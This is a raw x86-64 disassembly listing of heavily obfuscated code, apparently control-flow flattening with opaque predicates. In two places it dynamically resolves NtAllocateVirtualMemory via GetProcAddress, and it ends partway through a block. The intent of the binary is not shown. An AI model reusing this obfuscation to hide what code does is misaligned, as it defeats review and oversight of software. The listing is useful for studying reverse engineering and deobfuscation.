cmp ebp, 0xffffffff
sete cl
setne dl
cmp esi, 0xa
setl r9b
cmp esi, 9
setg al
and dl, al
mov ebx, r9d
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor al, cl
not al
and al, cl
xor cl, r9b
and cl, r9b
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
xor cl, dl
mov eax, ecx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0x893c737c
mov ebp, 0x74cf1e8c
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0x893c737c
cmovne ecx, ebp
mov qword [0x14024b058], r8
jmp 0x1400bc0e4
mov ecx, 0xd6d6a003
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0x8ca6124b
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov esi, edx
not esi
mov ecx, edx
xor ecx, 0xc8314ef7
mov ebx, ecx
and ebx, esi
and ecx, edx
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x515e1f3
and ecx, 0xfaea1e0c
or ecx, ebx
mov ebx, ecx
xor ebx, 0x304b5018
and edx, 0xd5b58e47
mov ebp, esi
and ebp, 0x2a4a71b8
or ebp, edx
xor ebp, 0xd5b58e46
and esi, 1
or esi, ebp
mov edx, esi
not edx
xor ecx, 0xcd24af05
mov ebp, ecx
and ebp, 0x2b008e2
and ebx, 0xfd4ff71d
or ebx, ebp
or ecx, esi
and esi, 0x2b008e2
and edx, 0xfd4ff71d
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x8cf8717c
and ebp, 0x73078e83
or ebp, edi
or ecx, ebx
and ebx, 0x8cf8717c
and edx, 0x73078e83
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x3d595203
and ecx, 0xc2a6adfc
or ecx, ebp
xor ecx, 0x3d595203
xor edx, ecx
test edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
or al, r8b
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ebx, edx
xor bl, al
test al, al
mov ecx, 0xd06d9e1e
mov eax, 0x408271f6
cmovne ecx, eax
test dl, dl
cmove ecx, r14d
test bl, 1
jmp 0x1400bbe07
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, edx
not edx
mov ebx, edx
and ebx, 0xcc35d9fc
and ecx, 0x33ca2602
or ecx, ebx
mov ebx, ecx
xor ebx, 0x21080402
xor ecx, 0xcc35d9fd
mov edi, ebp
not edi
mov esi, ecx
and esi, 0xdac67ba4
and ebx, 0x2539845a
or ebx, esi
or ecx, edi
and edi, 0xdac67ba4
and ebp, 0x2539845b
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xc85123a8
and ecx, 0x37aedc57
or ecx, ebp
xor ecx, 0x37aedc57
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r11b
mov eax, r11d
xor al, cl
and al, r11b
mov ebx, r9d
or bl, al
xor al, 1
or al, r8b
mov r10d, ebx
xor r10b, al
or al, bl
xor al, 1
or al, r10b
and r9b, r11b
or r11b, r8b
and cl, r8b
or cl, r9b
mov edx, r11d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r11b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xc987088f
mov edx, 0x5be6b49f
cmovne eax, edx
test cl, 1
mov ecx, eax
cmovne ecx, edx
jmp 0x1400ba675
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov ebx, ecx
or ebx, 1
mov ebp, ebx
not ebp
mov edx, edi
or edx, 0xbcf157b0
and ebx, 0xbcf157b1
and ebp, 0x430ea84e
or ebp, ebx
and edx, 0xbcf157b1
xor edx, ebp
and edi, 0x11b51164
and ecx, 0xee4aee9b
or ecx, edi
mov ebp, ecx
xor ebp, 0xee4aee9b
xor ecx, 0x11b51164
and ecx, edx
not edx
and ebp, edx
or ecx, ebp
xor edx, ecx
test edx, ecx
sete dl
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
and bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
mov ebx, eax
xor bl, dl
not bl
and bl, dl
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
and bl, cl
xor cl, 1
xor al, 1
and al, cl
or al, bl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x465f8d84
mov ebp, 0xe98f9bd3
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x465f8d84
jmp 0x1400bc0e6
mov rcx, qword [0x14024b040]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x14024b730]
mov r9d, dword [0x14024b72c]
lea eax, [rdx - 1]
imul eax, edx
mov esi, eax
not esi
mov ebp, esi
and ebp, 0x4000080
mov ebx, eax
and ebx, 0xa1334209
lea edi, [rbx + rbp]
xor edi, 0x1304208
lea ebx, [rbx + rbp]
add ebx, 0x508c1102
mov edx, esi
or edx, 0xa5334289
mov ebp, edx
not ebp
and ebx, 0xf08f1103
and edi, 0x5304288
or edi, ebx
and edx, 0xf08f1103
and ebp, 0xa40ac74
or ebp, edx
xor ebp, edi
mov edx, ebp
not edx
and edx, 0x5accbd77
and ebp, 0xa5334288
or ebp, edx
and esi, 0x8001195f
and eax, 0x7ffee6a0
or eax, esi
mov edx, eax
xor edx, 0x7ffee6a0
xor eax, 0x8001195f
and eax, ebp
not ebp
and edx, ebp
or eax, edx
not eax
or eax, ebp
cmp eax, 0xffffffff
setne al
sete r8b
cmp r9d, 0xa
setl cl
cmp r9d, 9
setg r9b
mov edx, r8d
or dl, r9b
xor dl, 1
mov r11d, ecx
or r11b, al
xor r11b, 1
mov r10d, edx
and r10b, r11b
xor r11b, dl
or r11b, r10b
and r9b, r8b
and al, cl
or al, r9b
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, r11d
xor cl, 1
and cl, r11b
and al, dl
mov r8d, ecx
and r8b, r11b
xor cl, r11b
or cl, r8b
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov ebx, ecx
xor bl, 1
and bl, al
xor al, 1
and al, cl
or al, bl
mov ecx, r11d
xor cl, dl
or dl, r11b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x1853bf8f
mov ebp, 0xf6ae98e5
cmovne ecx, ebp
test dl, 1
mov edx, 0x1853bf8f
cmovne edx, ecx
test al, 1
jmp 0x1400ba1d4
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x78a1e7ce
and edx, ecx
and ecx, 0x875e1831
or ecx, ebp
mov ebp, ecx
xor ebp, 0x80000800
xor ecx, 0x78a1e7ce
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x77de11ff
and ebp, 0x8821ee00
or ebp, edi
or ecx, ebx
and ebx, 0x77de11ff
and edx, 0x8821ee00
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
mov ebp, ecx
xor ebp, 0xff9b2f2f
and ebp, ecx
not ecx
and ecx, 0x77ab03d3
and edx, 0x8854fc2c
or edx, ecx
mov ecx, edx
xor ecx, 0x778b0303
or ecx, 0x64d0d0
mov ebx, ecx
not ebx
mov edi, ebp
not edi
mov esi, ecx
and esi, 0x8bd38d76
and ebx, 0x74082209
or ebx, esi
or ecx, edi
and edi, 0x8bd38d76
and ebp, 0x742c7289
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x18e3f876
and ecx, 0xe71c0789
or ecx, ebp
mov ebp, ecx
xor ebp, 0x100500a1
mov ebx, edx
and ebx, 1
xor edx, 0x8854fc2d
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x14f81af4
and edx, 0xeb07e50b
or edx, ebx
mov ebx, edx
xor ebx, 0xc2058101
xor edx, 0x14f81af4
xor ecx, 0xe778d758
mov edi, ecx
and edi, 0x29ba6c0e
and ebp, 0xd64593f1
or ebp, edi
or ecx, edx
and edx, 0x29ba6c0e
and ebx, 0xd64593f1
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x2ed75453
and ecx, 0xd128abac
or ecx, edx
mov edx, ecx
xor edx, 0xc108882c
xor ecx, 0x2e531042
and ecx, 0x3e7333c2
and edx, 0xc18ccc3d
or edx, ecx
xor edx, 0xc18ccc3d
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
mov ebx, eax
xor bl, r8b
and bl, al
or dl, r9b
or cl, r8b
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov edx, ebx
xor dl, 1
and dl, cl
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x8e49db48
mov ebp, 0x660f0ad
cmovne ecx, ebp
test al, al
mov eax, 0x8e49db48
cmove ecx, eax
jmp 0x1400baffb
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ebp, edx
and ebp, 0x2ca55e23
mov ecx, edx
xor ecx, 0xd35aa1dc
and ecx, ebx
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xd35aa1dd
and ecx, 0x2ca55e22
or ecx, ebp
mov ebp, edx
and ebp, 1
xor edx, 1
or edx, ebp
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
xor ebp, 0xf8ed4b44
and ebp, edx
mov ecx, edx
or ecx, 0x712b4bb
mov edx, ecx
not edx
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x34406655
and edx, 0xc8ad0900
or edx, edi
or ecx, ebx
and ebx, 0x34406655
and ebp, 0xcbbf99aa
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x712b4bb
and ecx, 0xf8ed4b44
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x1b562f18
and ecx, 0xe4a9d0e7
or ecx, ebp
xor ecx, 0x1b562f18
xor edx, ecx
test edx, ecx
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, r10d
xor cl, al
mov edx, ecx
and dl, r10b
and cl, al
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
and r10b, r9b
or r9b, r8b
and al, r8b
or al, r10b
xor al, 1
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and al, bl
or bl, dl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0x8c1604c6
mov edx, 0xdd767e19
cmovne ecx, edx
test bl, 1
mov ebp, 0x8c1604c6
cmovne ecx, ebp
jmp 0x1400b768f
mov ecx, 0x9b0bf50f
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x10941530
and edx, 0x90a00c2
or edx, ecx
mov ecx, edx
xor ecx, 0x9080080
xor edx, 0xa275531d
mov ebx, edi
or ebx, 0x199e15f2
mov ebp, ebx
not ebp
and edx, 0xa277535f
and ecx, 0x198804a0
or ecx, edx
and ebx, 0xa277535f
and ebp, 0x4400a800
or ebp, ebx
xor ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0xe661ea0c
and ebp, 0x199e15f3
or ebp, ecx
not ebp
mov ecx, ebp
and ecx, edi
xor ebp, edi
or ebp, ecx
cmp ebp, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
mov edx, eax
xor dl, cl
not dl
and dl, cl
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, ebx
xor al, dl
xor dl, 1
or dl, bl
xor al, 1
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x75df3b42
mov ebp, 0xa7e5247b
cmovne eax, ebp
test dl, 1
cmovne eax, r12d
test cl, 1
cmove eax, ebp
jmp 0x1400bad08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x5b9ad634
and ecx, 0xa46529cb
or ecx, edx
mov edx, ecx
not edx
and edx, 0xcc82d1a6
and ecx, 0x337d2e59
or ecx, edx
mov ebx, ecx
xor ebx, 0x68416864
mov esi, ecx
xor esi, 0x97180792
or ebx, 0x15be970b
mov edi, ebx
not edi
mov ebp, esi
or ebp, 0xea4168f4
mov edx, ebp
not edx
and ebx, 0x9319f2fa
and edi, 0x68400804
or edi, ebx
and ebp, 0x9319f2fa
and edx, 0x4a60501
or edx, ebp
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0x5e1b70e6
and edx, 0xa1e48f19
or edx, ebp
mov ebx, edx
xor ebx, 0x48a10480
and esi, 1
xor ecx, 0x97180793
or ecx, esi
mov ebp, ecx
not ebp
and ebp, 0xaa2b0186
and ecx, 0x55d4fe79
or ecx, ebp
mov ebp, ecx
xor ebp, 0x40901400
xor edx, 0xb45a1813
xor ecx, 0xaa2b0186
mov edi, edx
and edi, 0x974ceb7d
and ebx, 0x68b31482
or ebx, edi
or edx, ecx
and ecx, 0x974ceb7d
and ebp, 0x68b31482
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x1ae9b501
and ecx, edx
and edx, 0xe5164afe
or edx, ebp
xor edx, 0xe5164afe
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, eax
xor bl, cl
and bl, al
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor al, r8b
mov r9d, eax
xor r9b, 1
mov ebx, ecx
and bl, r8b
xor cl, r8b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
and dl, r9b
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, bl
xor dl, cl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xd77cd372
mov ebp, 0x40d80803
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xd77cd372
jmp 0x1400bc0e6
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, edx
and ebp, 0x932b2e00
and edx, 0x6cd4d1ff
or edx, ebp
xor edx, 0x6cd4d1fe
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
mov ebp, edx
xor ebp, 0xec1a068b
and ebp, edx
not edx
and edx, 0xf8e85510
and ecx, 0x717aaef
or ecx, edx
mov edx, ecx
xor edx, 0x4100280
xor ecx, 0xe8080400
or ecx, 0x13e5f974
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x60ce0c2f
and edx, 0x8c100280
or edx, edi
or ecx, ebx
and ebx, 0x60ce0c2f
and ebp, 0x9f31f3d0
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x8d09fb0d
and ecx, 0x72f604f2
or ecx, edx
mov edx, ecx
xor edx, 0x94600220
xor ecx, 0x60001002
and ecx, 0x6a8c105b
and edx, 0x9573efa4
or edx, ecx
mov ecx, edx
xor ecx, 0x8172ef04
xor edx, 0x8c0052
and edx, 0x148d00f2
and ecx, 0xeb72ff0d
or ecx, edx
xor ecx, 0x148d00f2
cmp ecx, 0xffffffff
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor al, bl
xor bl, 1
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
xor dl, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xfbd0f310
mov ecx, 0x7bdba1d5
cmovne eax, ecx
test bl, 1
mov ecx, 0xfbd0f310
jmp 0x1400bb907
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0x685fa2a
and edx, ecx
or ecx, 0xf97a05d5
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xe615b384
and ebp, 0x80482a
or ebp, edi
or ecx, ebx
and ebx, 0xe615b384
and edx, 0x19ea4c7b
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf97a05d5
and ecx, 0x685fa2a
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0xa7c46ed5
and ebx, edx
mov ebp, ecx
and ebp, 0x583b912a
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
mov ebx, ebp
not ebx
and ebx, 0x583b912b
and ebp, 0xa7c46ed4
or ebp, ebx
and edx, 1
xor ecx, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and edx, 0x289144cf
and ecx, 0xd76ebb30
or ecx, edx
mov ebx, ecx
xor ebx, 0x62a9910
mov edx, ebp
not edx
xor ecx, 0x289144cf
mov edi, edx
and edi, 0xd9c52269
and ebp, 0x263add96
or ebp, edi
or edx, ecx
and ecx, 0xd9c52269
and ebx, 0x263add96
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0xf5c2132a
mov ecx, ebx
not ecx
or edx, 0x83d6485
and edx, 0xa97f76ad
and ebp, 0x54800102
or ebp, edx
and ebx, 0xa97f76ad
and ecx, 0x2008850
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0xa3decd5
and ecx, 0xf5c2132a
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x74cfa72d
and edx, 0x8b3058d2
or edx, ecx
mov ecx, edx
xor ecx, 0x70cc0629
xor edx, 0x91000d2
and edx, 0xd13a1d6
and ecx, 0xf2ec5e29
or ecx, edx
xor ecx, 0xf2ec5e29
sete cl
setne r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, r8b
mov edx, ebx
and dl, cl
or dl, al
xor cl, bl
and cl, bl
xor bl, r8b
mov eax, ecx
xor al, 1
xor cl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, cl
xor bl, dl
and dl, bl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x678a8ac0
mov ebp, 0x1da8688e
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
not al
test al, 1
mov eax, 0x678a8ac0
jmp 0x1400bbe07
mov ecx, 0xd146d7af
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x2cf4b0c
mov ebp, eax
and ebp, 0xfd30b4f2
or ebp, edx
xor ebp, 0xfd30b4f2
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xcf574dae
and edx, 0x30a8b251
or edx, ebp
xor edx, 0x30a8b251
and ecx, 0x67b0d29e
and eax, 0x984f2d61
or eax, ecx
xor eax, 0x984f2d61
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
cmp eax, 0xffffffff
setne cl
sete r8b
cmp dword [0x14024b72c], 9
setg dl
xor r8b, dl
mov eax, r8d
and al, dl
xor cl, dl
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, al
mov edx, ebx
xor dl, 1
xor bl, cl
or dl, al
xor dl, 1
or dl, bl
mov ecx, edx
and cl, r8b
mov ebx, r8d
and bl, al
xor al, r8b
xor r8b, 1
xor dl, 1
and dl, r8b
or dl, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4ccf1227
mov ebp, 0xe20fb7dc
cmovne ecx, ebp
test al, 1
mov eax, 0x4ccf1227
cmovne eax, ecx
test dl, dl
jmp 0x1400adbf2
mov ecx, 0x58851e69
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0x5ab5cf4c
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0xbe64b052
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xd31f954a
and edx, ecx
and ecx, 0x2ce06ab5
or ecx, ebp
mov ebp, ecx
xor ebp, 0x206a15
xor ecx, 0xd31f954a
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x2fc104a2
and ebp, 0xd03efb5d
or ebp, edi
or ecx, ebx
and ebx, 0x2fc104a2
and edx, 0xd03efb5d
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x5eba27cd
and ecx, 0xa145d832
or ecx, edx
xor ecx, 0xa145d833
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xaa1de54c
and edx, ecx
and ecx, 0x55e21ab3
or ecx, ebp
mov ebp, ecx
xor ebp, 0x4c01222
xor ecx, 0xaa1de54c
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xf927c891
and ebp, 0x6d8376e
or ebp, edi
or ecx, ebx
and ebx, 0xf927c891
and edx, 0x6d8376e
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x767445f1
and ecx, 0x898bba0e
or ecx, edx
xor ecx, 0x898bba0e
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, ecx
xor cl, dl
and dl, al
and bl, r8b
or bl, dl
or al, r8b
xor al, 1
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, bl
and bl, al
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x962130b1
mov eax, 0x710783c6
cmovne ecx, eax
test bl, bl
cmove ecx, eax
not dl
test dl, 1
mov eax, 0x962130b1
jmp 0x1400bbe07
mov rcx, qword [0x14024b040]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xfdcf025c
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xe9a97fed
and ebp, 0x16568012
or ebp, edi
or ecx, ebx
and ebx, 0xe9a97fed
and edx, 0x16568012
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xc2dd333a
and ecx, 0x3d22ccc5
or ecx, edx
mov ebp, ecx
not ebp
mov edi, ecx
xor edi, 0x2c12130
or edi, 0xd13e1a0f
mov esi, edi
not esi
or ebx, 0x2ec1e5f0
mov edx, ebx
not edx
and edi, 0xff8bd856
and esi, 0x4025a0
or esi, edi
and ebx, 0xff8bd856
and edx, 0x340209
or edx, ebx
xor edx, esi
mov ebx, edx
not ebx
and ebx, 0xd13e1a0e
and edx, 0x2ec1e5f1
or edx, ebx
and ebp, 1
xor ecx, 0x3d22ccc4
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x1424885f
and ecx, 0xebdb77a0
or ecx, ebp
xor ecx, 0xebdb77a0
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
mov ebp, ecx
xor ebp, 0xa4b75b3c
and ebp, ecx
not ecx
and ecx, 0xb20a00
and edx, 0xa405513c
or edx, ecx
mov ecx, edx
xor ecx, 0x24000100
xor edx, 0x5bfaaec3
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0xc157763f
and ecx, 0x24a00900
or ecx, edi
or edx, ebx
and ebx, 0xc157763f
and ebp, 0x3ea889c0
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x5b48a4c3
and edx, 0xa4b75b3c
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xae78ae0a
and edx, 0x518751f5
or edx, ecx
mov ecx, edx
xor ecx, 0x410250d1
xor edx, 0x88608a00
and edx, 0x98e58b24
and ecx, 0x671a74db
or ecx, edx
mov edx, ecx
xor edx, 0x80048904
xor ecx, 0x2006009
and ecx, 0x1ae16229
and edx, 0xe51e9dd6
or edx, ecx
xor edx, 0xe51e9dd6
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
xor al, 1
or al, cl
xor al, 1
and dl, cl
and bl, r8b
or bl, dl
xor bl, al
mov ecx, ebx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ecx, 0xd7d021e1
mov edx, 0x6bce4ff3
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebp, 0xd7d021e1
cmovne edx, ebp
test al, al
cmove edx, ecx
jmp 0x1400baefb
mov eax, dword [0x14024b730]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xe5304282
mov edx, ecx
and edx, 0x1280001c
or edx, eax
xor edx, 0x1280001c
and ecx, 0x84fbd61
or ecx, edx
mov eax, ecx
not eax
and eax, 0x949f5b60
and ecx, 0x6b60a49f
or ecx, eax
mov edx, ecx
xor edx, 0x9cd0e601
mov eax, ecx
xor eax, 0x432e1072
and eax, 0x477e1073
xor ecx, 0xf9ae412f
and ecx, edx
and edx, 0xb881ef8c
or edx, eax
mov eax, edx
xor eax, 0x457e0022
or eax, 0x9a8158d1
mov ebp, eax
not ebp
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x5138cb73
and ebp, 0x2446240c
or ebp, edi
or eax, ebx
and ebx, 0x5138cb73
and ecx, 0xaec7348c
or ecx, ebx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x233ede6c
and eax, 0xdcc12193
or eax, ecx
mov ecx, eax
xor ecx, 0x31a08418
mov ebp, edx
and ebp, 1
xor edx, 0xb881ef8d
or edx, ebp
mov ebp, edx
not ebp
xor eax, 0x46407943
mov ebx, eax
and ebx, 0x8c1f0ba4
and ecx, 0x73e0f45b
or ecx, ebx
or eax, edx
and edx, 0x8c1f0ba4
